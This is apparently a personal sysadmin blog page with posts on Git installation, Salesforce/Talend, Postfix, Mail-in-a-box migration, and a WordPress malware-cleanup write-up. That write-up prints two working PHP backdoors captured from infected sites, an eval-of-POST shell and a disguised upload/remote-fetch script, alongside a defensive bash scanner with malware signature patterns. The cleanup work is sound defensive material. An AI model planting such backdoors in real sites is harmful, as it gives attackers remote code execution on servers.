I've used Talend Open Studio to import SalesForce report data into MySQL via REST API but it turned out the Analytics API limits up to 2,000 records so now use Python to pull it from CSV and import into MySQL. Here is the code
Sunday, March 27, 2016
Sunday, March 6, 2016
How to install Git on a shared host
I've noted here but wanted to post on my blog so I can find it quickly if necessary.
First, make sure gcc is working:
gcc --version
Then update the ~/.bashrc:
export PATH=$HOME/bin:$PATH
source ~/.bashrc
Then install Git:
cd ~/
mkdir src
cd src
wget https://github.com/git/git/archive/v2.7.1.tar.gz
wget https://curl.haxx.se/download/curl-7.47.1.tar.gz
tar -xzvf v2.7.1.tar.gz
tar -xzvf curl-7.47.1.tar.gz
cd git-2.7.1/
make configure
./configure --prefix=$HOME --with-curl=~/src/curl-7.47.1
make
make install
First, make sure gcc is working:
gcc --version
Then update the ~/.bashrc:
export PATH=$HOME/bin:$PATH
source ~/.bashrc
Then install Git:
cd ~/
mkdir src
cd src
wget https://github.com/git/git/archive/v2.7.1.tar.gz
wget https://curl.haxx.se/download/curl-7.47.1.tar.gz
tar -xzvf v2.7.1.tar.gz
tar -xzvf curl-7.47.1.tar.gz
cd git-2.7.1/
make configure
./configure --prefix=$HOME --with-curl=~/src/curl-7.47.1
make
make install
Thursday, March 3, 2016
Access Salesforce REST API from Talend Open Studio
Today I have a task to pull report data from Salesforce REST API into MySQL database. I've used Talend Open Studio to sync daily Salesforce's modules into Postgresql or replicate MS SQL database into Postgresql before so looks like this task is not difficult. It turned out the Salesforce REST API now requires OAuth 2.0, so I googled to find out how to do that and got this http://www.deepinopensource.com/access-apex-rest-api-salesforce-from-talend/ . The problem is this guide's using cURL to get access_token to enter manually into tRESTClient while I need to do it automatically for daily auto-sync.. So I learned more about Talend's components.. (found it's very powerful!). Here is my solution: use one tRESTClient to request an access token first to assign into context variable, then execute another tRESTClient to access Salesforce REST API with that token.
Below are screenshots.
1. Request a token
7. Save into MySQL database
Below are screenshots.
1. Request a token
2. Extract the token from output
3. Assign token into context variable
4. Use that token for REST
5. Because the Salesforce REST output contains special node name that causes invalid parsing so replace it with a common character
6. Extract the JSON data
Friday, October 2, 2015
WordPress sites malware prevention
[UPDATED: 3/11/2016 - yesterday I found another malware that uses preg_replace with PCRE modifier /e to execute PHP code instead of eval - here it is and document]
Recently I've helped some clients to remove malware infected into WordPress sites. One of them has been blocked by Google Chrome and Firefox with big red scary warning page.
I've found out and used the tool Narnia-Guardian - thought it's very helpful but it didn't guarantee to clean all (it has helped me to clean thousands infected files deeply in framework libraries for a site that integrated with WordPress blog), we must examine code manually and pick malware signatures to add into the blacklist.
Then I kept monitoring access log files and found out some suspicious activities, mostly POST requests, to catch malicious code, then trace out the common attack way:
- Hackers upload lots PHP files to act as backdoors (1). Then do POST request to one of them to upload or create another PHP malware files (2) to do other things like creating WordPress admin account, sending out spam emails, embedding malware into Javascript files (3) (like visitorTracker) or creating a form to allow listing directory content/uploading new files, etc..
- PHP malware files usually contains base64 encoded php code or just receive POST request data (another base64 encoded php code) then decode them and call eval() function to execute those malware. Like this:
- Scanners like Narnia-Guardian might just detect (2) or (3) but not (1) because they mostly looks "clean" like normal functional PHP files. Something likes this:
- If we missed some (1) or (2) files when cleaning, malware will be spawned again! Especially when we have to check many sites with hundreds suspicious code files - and hackers only trigger one backdoor file at once - not all - when they checked fail on (2). They will try another backdoor file when checked fail on the 1st one and so on..
So the backdoor is usually involved with eval() execution or $_FILES upload variable.
But some sites also use some plugins that contain clean code of eval() executions or $_FILES.
So we need to examine all code of eval() executions or $_FILES to find out which is clean and which is malicious.
After cleaned all malicious code, we should monitor them frequently to make sure no more malware code in the future.
To do that, I've created a bash script to scan and compare eval() executions or $_FILES usage count. If that differ from 'clean' code count, then send email to notify me. I've also make it to scan malware based on Narnia-Guardian's black list and some I found during cleaning them.
Here is my sample bash script - I've configured it to run by cron every 15 minutes or hourly:
Note that this is just my homemade scanner :) - you'll might need to buy professional plan, like the Sucuri Malware Prevention plan. (I haven't tried it but just tested their free tool ) and follow up Hardening WordPress instruction and/or disallow PHP execution under wp-content/uploads folder, like this:
It would be safe to disable execution from other extensions:
If we host many PHP sites on the same server, we should use suPHP or FastCGI handlers instead of mod_php so we can isolate and run each site under different user to prevent infection between sites.
FYI - a backdoor screenshot:
Recently I've helped some clients to remove malware infected into WordPress sites. One of them has been blocked by Google Chrome and Firefox with big red scary warning page.
I've found out and used the tool Narnia-Guardian - thought it's very helpful but it didn't guarantee to clean all (it has helped me to clean thousands infected files deeply in framework libraries for a site that integrated with WordPress blog), we must examine code manually and pick malware signatures to add into the blacklist.
Then I kept monitoring access log files and found out some suspicious activities, mostly POST requests, to catch malicious code, then trace out the common attack way:
- Hackers upload lots PHP files to act as backdoors (1). Then do POST request to one of them to upload or create another PHP malware files (2) to do other things like creating WordPress admin account, sending out spam emails, embedding malware into Javascript files (3) (like visitorTracker) or creating a form to allow listing directory content/uploading new files, etc..
- PHP malware files usually contains base64 encoded php code or just receive POST request data (another base64 encoded php code) then decode them and call eval() function to execute those malware. Like this:
<?php
@ignore_user_abort(true);
@set_time_limit(0);
$getherw3423 = "FFS"."W35"."25KK"."Sfj";
$rretert454352 = "b"."".""."a"."s".""."".""."e"."".""."6"."".""."4"."_".""."".""."d"."e"."c"."o".""."".""."".""."d".""."e";
$qwretrqt5234 = "";
if(!empty($_POST[$getherw3423]) and strlen($_POST[$getherw3423]) > 0 and isset($_POST[$getherw3423])){
$qwretrqt5234 = $rretert454352($_POST[$getherw3423]);
@eval($qwretrqt5234);
}else{
echo "<html><head>
<title>404 Page Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found.</p>
</body></html>";
}
?>
- Scanners like Narnia-Guardian might just detect (2) or (3) but not (1) because they mostly looks "clean" like normal functional PHP files. Something likes this:
<?php
// Silence is golden.
if(isset($_GET[php4])) {echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">'; echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>';
if( $_POST['golden'] == "Done" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '+'; } else { echo '-'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"]; $wpf=strrchr($file, '/'); $wpf=str_replace("/","",$wpf); $content=file_get_contents($file); $wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo '<title></title>';}
?>
- If we missed some (1) or (2) files when cleaning, malware will be spawned again! Especially when we have to check many sites with hundreds suspicious code files - and hackers only trigger one backdoor file at once - not all - when they checked fail on (2). They will try another backdoor file when checked fail on the 1st one and so on..
So the backdoor is usually involved with eval() execution or $_FILES upload variable.
But some sites also use some plugins that contain clean code of eval() executions or $_FILES.
So we need to examine all code of eval() executions or $_FILES to find out which is clean and which is malicious.
After cleaned all malicious code, we should monitor them frequently to make sure no more malware code in the future.
To do that, I've created a bash script to scan and compare eval() executions or $_FILES usage count. If that differ from 'clean' code count, then send email to notify me. I've also make it to scan malware based on Narnia-Guardian's black list and some I found during cleaning them.
Here is my sample bash script - I've configured it to run by cron every 15 minutes or hourly:
recipients='xyz@gmail.com'
from='xyz@gmail.com'
function send_email {
local subject="$1"
local body="$2"
#or execute a php script if need SMTP authentication..
/usr/sbin/sendmail "$recipients" <<EOF
subject:$subject
from:$from
$body
EOF
}
function keyword_scan {
local folder=$1
local THRESHOLD=$2
local regex_name=$3
local regex="$4"
local count=`grep -r --include=*.php -E "$regex" $folder -l | wc -l`
if [[ $count -ne $THRESHOLD && $count -gt 0 ]]; then
subject="*ALERT* – $regex_name usage ($count) under $folder on serverX differs 'clean' usage ($THRESHOLD)"
body="`grep -r --include=*.php -E "$regex" $folder`"
send_email "$subject" "$body"
fi
echo folder: $folder regex: $regex_name THRESHOLD: $THRESHOLD count: $count
}
#check visitorTracker / php4..
function malware_scan {
local folder=$1
local regex='visitorTracker|PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH|wpupdatestream|wpwhitesecurity|c4f648718569a2b8e00543f6f75ed83c|\$_GET\[php4\]|GLOBALS\["\\x61\\156\\x75\\156\\x61"\]|\$sF="PCT4BA6ODSE_"|\$hqrrwlpxhh|\$bmhqhhzolg|\$igeosfpzpy|PHP Obfuscator|\$cookey = "ab6b6c56c9|\$cookey = "ac6012748c"|\$cookey = "ad94f0ba61"|\$qV="stop_";|\$pjro=22;|\$vnlpv=\$pjro\+42;|\$d93="l#|PluginJoomla|OBALS\[.n3b0.\]|\\x58\\x67\\x3b\\x43\\x51\\x60|\$ytqzb\$zqyq=|\$xbgyr|\$qjdul|\$s20=strtoupper|\$igeosfpzpy|"ad0732bab1"|\$bmhqhhzolg|\$vdmick=.preg.|\$ksuqdnntbn|chr\(98\).chr\(97\).chr\(115\).chr\(101\).chr\(54\).chr\(52\).chr\(95\).chr\(100\).chr\(101\).chr\(99\).chr\(111\).chr\(100\).chr\(101\)|\$ygu="b"."ase"."64_de"."code"|\$yznqstl|\$rretert454352|\$npaebi|function getperms|c999sh_surl|FZhFtoVcloSnkr3MP2n|x65x76x61x6Cx28x67x7Ax69|base64_decode\(\$_POST\["php"\]|@ini_restore\("safe_mode_include_dir"\);|@ini_restore\("safe_mode_exec_dir"\);|countimg.gif\?id=4da620681febfa679b00b25f|rebots.php'
local count=`grep -rI -E "($regex)" $folder --include=*.{js,php,htm,html} --include="wp-content/uploads" -l | wc -l`
if [ $count -gt 0 ]; then
subject="*ALERT* – found visitorTracker/php4.. malware ($count) under $folder on serverX"
body="`grep -rI -E \"($regex)\" $folder --include=*.{js,php,htm,html} --include=\"wp-content/uploads\"`"
send_email "$subject" "$body"
fi
echo folder: $folder count: $count
}
name='eval'
regex="(;| )eval\(|preg_replace.*/e"
echo keyword_scan - $name
keyword_scan /home/wpsite1/public_html 9 $name "$regex"
keyword_scan /home/wpsite2/public_html 10 $name "$regex"
name='copy_move_uploaded_file_FILES'
regex="(copy|move_uploaded_file)[[:space:]]*\([[:space:]]*._FILES[[:space:]]*[[[:space:]]*"
echo keyword_scan - $name
keyword_scan /home/wpsite1/public_html 2 $name "$regex"
keyword_scan /home/wpsite2/public_html 3 $name "$regex"
echo malware scan : visitorTracker/php4
malware_scan /home/wpsite1/public_html
malware_scan /home/wpsite2/public_html
Note that this is just my homemade scanner :) - you'll might need to buy professional plan, like the Sucuri Malware Prevention plan. (I haven't tried it but just tested their free tool ) and follow up Hardening WordPress instruction and/or disallow PHP execution under wp-content/uploads folder, like this:
<Directory "/home/wpsite1/public_html/wp-content/uploads/">
<Files "*.php">
Order Deny,Allow
Deny from All
</Files>
</Directory>
It would be safe to disable execution from other extensions:
<Directory "/home/wpsite1/public_html/">
<FilesMatch "\.(php3|php4|php5|phtml)$">
Order Deny,Allow
Deny from All
</Files>
</Directory>
If we host many PHP sites on the same server, we should use suPHP or FastCGI handlers instead of mod_php so we can isolate and run each site under different user to prevent infection between sites.
FYI - a backdoor screenshot:
Wednesday, November 19, 2014
Customize outgoing SendGrid emails X-SMTPAPI header by Postfix
SendGrid’s SMTP API allows developers to specify custom handling instructions for e-mail. This is accomplished through a header, X-SMTPAPI, that is inserted into the message.
We can do it easily, for example in PHP:
But for some reasons, Client would like to replay emails to SendGrid by local Postfix and using Drupal built-in mail function without custom code, we can use Postfix smtp_header_checks to add the X-SMTPAPI header for outgoing emails.
Below are steps to do that:
1. Setup Postfix and config it to send emails via SendGrid as here
(it's better to use hashed password file like smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd instead smtp_sasl_password_maps = static:yourSendGridUsername:yourSendGridPassword)
2. Add smtp_header_checks to /etc/postfix/main.cf:
smtp_header_checks = regexp:/etc/postfix/smtp_header_checks
3. Create /etc/postfix/smtp_header_checks file with the content, like:
/^From:/ PREPEND X-SMTPAPI: "category":["www"],"filters":{"subscriptiontrack":{"settings":{"enable":0}},"clicktrack":{"settings":{"enable":0}},"opentrack":{"settings":{"enable":0}}}}
Hint: we can easily get the X-SMTPAPI content by print it out from above PHP code, like:
4. Reload Postfix
We can do it easily, for example in PHP:
$email = new SendGrid\Email();
$email->addTo('from@abc.com')->
setFrom('to@abc.com')->
setSubject('Subject goes here')->
setText('Hello World!')->
addFilter("subscriptiontrack", "enable", 0)->
addFilter("clicktrack", "enable", 0)->
addFilter("opentrack", "enable", 0)->
addCategory("www")->
setHtml('<strong>Hello World!</strong>');
But for some reasons, Client would like to replay emails to SendGrid by local Postfix and using Drupal built-in mail function without custom code, we can use Postfix smtp_header_checks to add the X-SMTPAPI header for outgoing emails.
Below are steps to do that:
1. Setup Postfix and config it to send emails via SendGrid as here
(it's better to use hashed password file like smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd instead smtp_sasl_password_maps = static:yourSendGridUsername:yourSendGridPassword)
2. Add smtp_header_checks to /etc/postfix/main.cf:
smtp_header_checks = regexp:/etc/postfix/smtp_header_checks
3. Create /etc/postfix/smtp_header_checks file with the content, like:
/^From:/ PREPEND X-SMTPAPI: "category":["www"],"filters":{"subscriptiontrack":{"settings":{"enable":0}},"clicktrack":{"settings":{"enable":0}},"opentrack":{"settings":{"enable":0}}}}
Hint: we can easily get the X-SMTPAPI content by print it out from above PHP code, like:
$arr = $email->toWebFormat();
echo $arr['x-smtpapi'];
4. Reload Postfix
Friday, November 7, 2014
Move Mail-in-a-box to another server
I was asked to move a Mail-in-a-box to another server last night. It's quite new for me although I've migrated Zimbra server several times. On their web site, there's just a very simple setup guide. So I searched in the forum and found a instruction from Josh. I don't have much experience with Mail-in-a-box so had to find out what are STORAGE_ROOT and STORAGE_USER variables in code. It turned out they are set:
STORAGE_USER=user-data
STORAGE_ROOT=/home/$STORAGE_USER
Then learned how to decrypt files via openssl as instructed and how to restore them via duplicity. Had to look into the backup.py code to see how they are encrypted then how to decrypt..
But then found out I didn't need to decrypt those files when we can use normal files in the /home/user-data/backup/duplicity/ instead of decrypted files from /home/user-data/backup/encrypted/.
To summary, below are steps to move Mail-in-a-box to another server:
1. Setup a new Ubuntu 14.04 x64 and setup Mail-in-a-box as the setup guide.
Copy the /etc/postfix/main.cf from the old server over the new server.
2. Stop the service mailinabox on the old server : sudo service mailinabox stop
3. Do backup manually: sudo /home/my_account/mailinabox/management/backup.py
(this is usually incremental backup since mailinabox is scheduled backup daily)
4. Then stop mailinabox again (because it's started by the backup tool) to make sure no new mails come in.
5. rsync entire /home/user-data/backup/duplicity/ to the new server in a folder.
rsync -avr -e ssh /home/user-data/backup/ my_account@new_server:backup/
6. Do restore on the new server:
- Stop the mailinabox service: sudo service mailinabox stop
- In case we restore from encrypted files, we decrypt them with commands:
mkdir /home/my_account/backup/decrypted && cd /home/my_account/backup/encrypted
for FILE in *.enc; do openssl enc -d -aes-256-cbc -a -in $FILE -out ../decrypted/${FILE%.*} -pass file:../secret_key.txt; done- Restore by duplicity:
sudo duplicity --no-encryption restore file:///home/my_account/backup/duplicity /home/user-data
or
sudo duplicity --no-encryption restore file:///home/my_account/backup/decrypted /home/user-data
- Re-configure/update: cd /home/my_account/mailinabox && sudo setup/start.sh
In case we don't switch immediately, we can start the service mailinabox on the old server again and just before transition, do from step #2 to the rest. It will be faster because we will just sync new incremental backup.
Note that Josh said on the other thread that we can sync /home/user-data directly but I didn't test that.
STORAGE_USER=user-data
STORAGE_ROOT=/home/$STORAGE_USER
Then learned how to decrypt files via openssl as instructed and how to restore them via duplicity. Had to look into the backup.py code to see how they are encrypted then how to decrypt..
But then found out I didn't need to decrypt those files when we can use normal files in the /home/user-data/backup/duplicity/ instead of decrypted files from /home/user-data/backup/encrypted/.
To summary, below are steps to move Mail-in-a-box to another server:
1. Setup a new Ubuntu 14.04 x64 and setup Mail-in-a-box as the setup guide.
Copy the /etc/postfix/main.cf from the old server over the new server.
2. Stop the service mailinabox on the old server : sudo service mailinabox stop
3. Do backup manually: sudo /home/my_account/mailinabox/management/backup.py
(this is usually incremental backup since mailinabox is scheduled backup daily)
4. Then stop mailinabox again (because it's started by the backup tool) to make sure no new mails come in.
5. rsync entire /home/user-data/backup/duplicity/ to the new server in a folder.
rsync -avr -e ssh /home/user-data/backup/ my_account@new_server:backup/
6. Do restore on the new server:
- Stop the mailinabox service: sudo service mailinabox stop
- In case we restore from encrypted files, we decrypt them with commands:
mkdir /home/my_account/backup/decrypted && cd /home/my_account/backup/encrypted
for FILE in *.enc; do openssl enc -d -aes-256-cbc -a -in $FILE -out ../decrypted/${FILE%.*} -pass file:../secret_key.txt; done- Restore by duplicity:
sudo duplicity --no-encryption restore file:///home/my_account/backup/duplicity /home/user-data
or
sudo duplicity --no-encryption restore file:///home/my_account/backup/decrypted /home/user-data
- Re-configure/update: cd /home/my_account/mailinabox && sudo setup/start.sh
In case we don't switch immediately, we can start the service mailinabox on the old server again and just before transition, do from step #2 to the rest. It will be faster because we will just sync new incremental backup.
Note that Josh said on the other thread that we can sync /home/user-data directly but I didn't test that.
Thursday, October 16, 2014
Phusion Passenger and missing passenger_native_support.so issue
When upgrade an Rails application from Ruby 1.9.3 to 2.0.0 by using rvm, it throws out error as:
Raw process output:
--> Compiling passenger_native_support.so for the current Ruby interpreter...
(set PASSENGER_COMPILE_NATIVE_SUPPORT_BINARY=0 to disable)
--> Downloading precompiled passenger_native_support.so for the current Ruby interpreter...
(set PASSENGER_DOWNLOAD_NATIVE_SUPPORT_BINARY=0 to disable)
Could not download https://oss-binaries.phusionpassenger.com/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds
Trying next mirror...
Could not download https://s3.amazonaws.com/phusion-passenger/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds
--> Continuing without passenger_native_support.so.
/usr/local/rvm/gems/ruby-2.0.0-p451/gems/json-1.8.1/lib/json/common.rb:67: [BUG] Segmentation fault
ruby 2.0.0p451 (2014-02-24 revision 45167) [x86_64-linux]
It turned out the passenger_native_support.so was missed in rvm /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/ folder.
So searched and found it in /usr/lib/ruby/2.0.0/x86_64-linux-gnu/ then copied it to /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/
Raw process output:
--> Compiling passenger_native_support.so for the current Ruby interpreter...
(set PASSENGER_COMPILE_NATIVE_SUPPORT_BINARY=0 to disable)
--> Downloading precompiled passenger_native_support.so for the current Ruby interpreter...
(set PASSENGER_DOWNLOAD_NATIVE_SUPPORT_BINARY=0 to disable)
Could not download https://oss-binaries.phusionpassenger.com/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds
Trying next mirror...
Could not download https://s3.amazonaws.com/phusion-passenger/binaries/passenger/by_release/4.0.48/rubyext-ruby-2.0.0-x86_64-linux.tar.gz: Resolving timed out after 4516 milliseconds
--> Continuing without passenger_native_support.so.
/usr/local/rvm/gems/ruby-2.0.0-p451/gems/json-1.8.1/lib/json/common.rb:67: [BUG] Segmentation fault
ruby 2.0.0p451 (2014-02-24 revision 45167) [x86_64-linux]
It turned out the passenger_native_support.so was missed in rvm /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/ folder.
So searched and found it in /usr/lib/ruby/2.0.0/x86_64-linux-gnu/ then copied it to /usr/local/rvm/rubies/ruby-2.0.0-p451/lib/ruby/2.0.0/x86_64-linux/
Subscribe to:
Posts (Atom)